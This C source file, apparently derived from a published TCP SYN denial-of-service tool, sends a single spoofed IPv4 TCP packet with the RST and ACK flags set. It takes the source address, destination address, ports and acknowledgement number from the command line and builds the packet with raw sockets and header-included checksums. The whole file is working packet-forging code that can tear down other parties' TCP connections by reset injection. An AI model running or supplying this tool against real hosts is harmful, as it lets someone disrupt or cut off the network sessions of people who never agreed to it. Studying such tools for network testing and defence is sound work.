
/*
 * open solaris compile: cc -o sndrst sndrst.c -lsocket -lnsl
 *
 * notice from tcpsyndos.c follows
 * culled & modified again by Graeme Sheppard www.rillion.net
 *
 */

/* Simple TCP SYN Denial Of Service                                      */
/* Author: Luis Martin Garcia. luis.martingarcia [.at.] gmail [d0t] com  */
/* To compile: gcc tcpsyndos.c -o tcpsyndos -lpcap                       */
/* Run as root!                                                          */
/*                                                                       */
/* This code is distributed under the GPL License. For more info check:  */
/* http://www.gnu.org/copyleft/gpl.html                                  */



#define __USE_BSD         /* Using BSD IP header           */ 
#include <sys/types.h>
#include <netinet/in.h> 
#include <netinet/ip.h>   /* Internet Protocol             */ 
#define __FAVOR_BSD       /* Using BSD TCP header          */ 
#include <netinet/tcp.h>  /* Transmission Control Protocol */ 

#include <arpa/inet.h>
#include <sys/socket.h>

#include <stdio.h>
#include <string.h> 
#include <stdlib.h>
#include <unistd.h>

#define TCPSYN_LEN 20
#define MAXBYTES2CAPTURE 2048


/* Pseudoheader (Used to compute TCP checksum. Check RFC 793) */
typedef struct pseudoheader
{
  uint32_t src;
  uint32_t dst;
  u_char zero;
  u_char protocol;
  uint16_t tcplen;
} tcp_phdr_t;

typedef uint16_t u_int16;
typedef uint32_t u_int32;


const char* program_name = NULL;


void quit (const char* text)
{
  fprintf (stderr, "%s: %s\n", program_name, text);
  exit (1);
}


/* This piece of code has been used many times in a lot of differents tools. */
/* I haven't been able to determine the author of the code but it looks like */
/* this is a public domain implementation of the checksum algorithm */

unsigned short in_cksum (unsigned short *addr,int len)
{
  u_short answer = 0;
  register u_short *w = addr;
  register int sum = 0;
  register int nleft = len;
    
  /*
   * Our algorithm is simple, using a 32-bit accumulator (sum),
   * we add sequential 16-bit words to it, and at the end, fold back 
   * all the carry bits from the top 16 bits into the lower 16 bits. 
   */
    
  while (nleft > 1)
  {
    sum += *w++;
    nleft -= 2;
  }

  /* mop up an odd byte, if necessary */
  if (nleft == 1)
  {
    *(u_char *)(&answer) = *(u_char *)w ;
    sum += answer;
  }

  /* add back carry outs from top 16 bits to low 16 bits */
  sum = (sum >> 16) + (sum &0xffff); /* add hi 16 to low 16 */
  sum += (sum >> 16); /* add carry */
  answer = ~sum; /* truncate to 16 bits */
  return answer;
}


/* TCP_RST_send(): Crafts a TCP packet with the RST flag set using the supplied */
/* values and sends the packet through a raw socket.                            */

int TCP_RST_send (u_int32 ack, u_int32 src_ip, u_int32 dst_ip, u_int16 src_prt, u_int16 dst_prt)
{
  int one = 1; /* R.Stevens says we need this variable for the setsockopt call */ 

  /* Raw socket file descriptor */ 
  int rawsocket=0;  
  
  /* Buffer for the TCP/IP SYN Packets */
  char packet [sizeof(struct tcphdr) + sizeof(struct ip) + 1];   

  /* It will point to start of the packet buffer */  
  struct ip *ipheader = (struct ip *) packet;   
  
  /* It will point to the end of the IP header in packet buffer */  
  struct tcphdr *tcpheader = (struct tcphdr *) (packet + sizeof(struct ip)); 
  
  /* TPC Pseudoheader (used in checksum)    */
  tcp_phdr_t pseudohdr;            

  /* TCP Pseudoheader + TCP actual header used for computing the checksum */
  char tcpcsumblock [sizeof(tcp_phdr_t) + TCPSYN_LEN];

  /* Although we are creating our own IP packet with the destination address */
  /* on it, the sendto() system call requires the sockaddr_in structure */
  struct sockaddr_in dstaddr;  
  
  memset (&pseudohdr,0, sizeof (tcp_phdr_t));
  memset (&packet, 0, sizeof (packet));
  memset (&dstaddr, 0, sizeof (dstaddr));   
    
  dstaddr.sin_family = AF_INET;     /* Address family: Internet protocols */
  dstaddr.sin_port = dst_prt;       /* Leave it empty */
  dstaddr.sin_addr.s_addr = dst_ip; /* Destination IP */

  /* Get a raw socket to send TCP packets */   
  if ((rawsocket = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0)
    quit ("could not create socket");
  
  /* We need to tell the kernel that we'll be adding our own IP header */
  /* Otherwise the kernel will create its own. The ugly "one" variable */
  /* is a bit obscure but R.Stevens says we have to do it this way ;-) */
  if (setsockopt (rawsocket, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0)
    quit ("could do socket options");
	
  /* IP Header */
  ipheader->ip_hl = 5;     /* Header lenght in octects                       */
  ipheader->ip_v = 4;      /* Ip protocol version (IPv4)                     */
  ipheader->ip_tos = 0;    /* Type of Service (Usually zero)                 */
  ipheader->ip_len = htons (sizeof (struct ip) + sizeof (struct tcphdr));         
  ipheader->ip_off = 0;    /* Fragment offset. We'll not use this            */
  ipheader->ip_ttl = 64;   /* Time to live: 64 in Linux, 128 in Windows...   */
  ipheader->ip_p = 6;      /* Transport layer prot. TCP=6, UDP=17, ICMP=1... */
  ipheader->ip_sum = 0;    /* Checksum. It has to be zero for the moment     */
  ipheader->ip_id = htons (1337); 
  ipheader->ip_src.s_addr = src_ip;  /* Source IP address                    */
  ipheader->ip_dst.s_addr = dst_ip;  /* Destination IP address               */

  /* TCP Header */   
  tcpheader->th_seq = ntohl (0);  /* sequence number                         */
  tcpheader->th_ack = ack;        /* acknowledge number                      */
  tcpheader->th_x2 = 0;           /* Variable in 4 byte blocks. (Deprecated) */
  tcpheader->th_off = 5;          /* Segment offset (Lenght of the header)   */
  tcpheader->th_flags = TH_RST | TH_ACK; /* tcp flags reset and acknowledge  */
  tcpheader->th_win = htons (4500) + rand() % 1000;  /* Window size          */
  tcpheader->th_urp = 0;          /* Urgent pointer.                         */
  tcpheader->th_sport = src_prt;  /* Source Port                             */
  tcpheader->th_dport = dst_prt;  /* Destination Port                        */
  tcpheader->th_sum = 0;          /* Checksum. (Zero until computed)         */
  
  /* Fill the pseudoheader so we can compute the TCP checksum*/
  pseudohdr.src = ipheader->ip_src.s_addr;
  pseudohdr.dst = ipheader->ip_dst.s_addr;
  pseudohdr.zero = 0;
  pseudohdr.protocol = ipheader->ip_p;
  pseudohdr.tcplen = htons (sizeof (struct tcphdr));

  /* Copy header and pseudoheader to a buffer to compute the checksum */  
  memcpy (tcpcsumblock, &pseudohdr, sizeof (tcp_phdr_t));   
  memcpy (tcpcsumblock + sizeof (tcp_phdr_t), tcpheader, sizeof (struct tcphdr));
    
  /* Compute the TCP checksum as the standard says (RFC 793) */
  tcpheader->th_sum = in_cksum ((unsigned short *) (tcpcsumblock), sizeof (tcpcsumblock)); 

  /* Compute the IP checksum as the standard says (RFC 791) */
  ipheader->ip_sum = in_cksum ((unsigned short *) ipheader, sizeof (struct ip));
    
  /* Send it through the raw socket */    
  if (sendto (rawsocket, packet, ntohs (ipheader->ip_len), 0, (struct sockaddr *) &dstaddr, sizeof (dstaddr)) < 0)
    return -1;                     
    
  close (rawsocket);
  return 0;
}


void usage()
{
  fprintf (stdout, "A program to send a single ipv4 rst packet.\n");
  fprintf (stdout, "usage: %s source_ip source_port dest_ip dest_port ack_number\n", program_name);
  fprintf (stdout, "eg: %s 192.168.1.10 22 192.168.1.15 40123 1000222000\n", program_name);
  exit (0);
}


u_int32 find_ip (const char* text)
{
  struct in_addr ia;

  if (inet_pton (AF_INET, text, &ia) == 0)
    quit ("bad ip address");

  return ia.s_addr;
}


u_int16 find_pt (const char* text)
{
  int i = atoi (text);
  if (i < 0 || i > 65535)
    quit ("number out of range");
  return i;
}


int main(int argc, char* argv[])
{
  u_int32 sip, dip, ack;
  u_int16 spt, dpt;
  
  program_name = argv [0];
  
  if (argc <= 1)
    usage();

  if (argc == 2 && argv [1][0] == '-')
    usage();

  if (argc != 6)
    quit ("need 5 arguments");

  sip = find_ip (argv [1]);
  spt = find_pt (argv [2]);
  
  dip = find_ip (argv [3]);
  dpt = find_pt (argv [4]);

  ack = atoi (argv [5]); /* sign? */
  
  TCP_RST_send (ntohl (ack), sip, dip, htons (spt), htons (dpt));

  return 0;
}


